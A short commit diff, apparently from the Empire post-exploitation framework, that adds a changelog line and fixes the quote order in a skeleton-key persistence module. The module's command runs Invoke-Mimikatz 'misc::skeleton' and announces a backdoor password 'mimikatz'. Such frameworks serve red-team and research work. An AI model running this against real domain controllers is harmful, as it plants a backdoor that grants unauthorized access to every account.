Fix misc_skeleton_key Invoke-Mimikatz single and double quote order

Author: asantoma

CHANGELOG.md

@@ -21,6 +21,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 ### Fixed
 
 -   Fixed stop-job handlers in PowerShell and Python agents crashing when the target job doesn't exist
+-   Fixed misc_skeleton_key Invoke-Mimikatz call
 
 ## [6.4.1] - 2026-02-15
 -   Fixed the `docs/quickstart/installation/README.md` file to specify a previously missing reference to Ubuntu

empire/server/modules/powershell/persistence/misc/skeleton_key.yaml

@@ -40,5 +40,5 @@ options:
     required: true
     value: ''
 script_path: credentials/Invoke-Mimikatz.ps1
-script_end: Invoke-Mimikatz -Command "'misc::skeleton'"; 'Skeleton key implanted.
+script_end: Invoke-Mimikatz -Command '"misc::skeleton"'; 'Skeleton key implanted.
   Use password mimikatz for access.'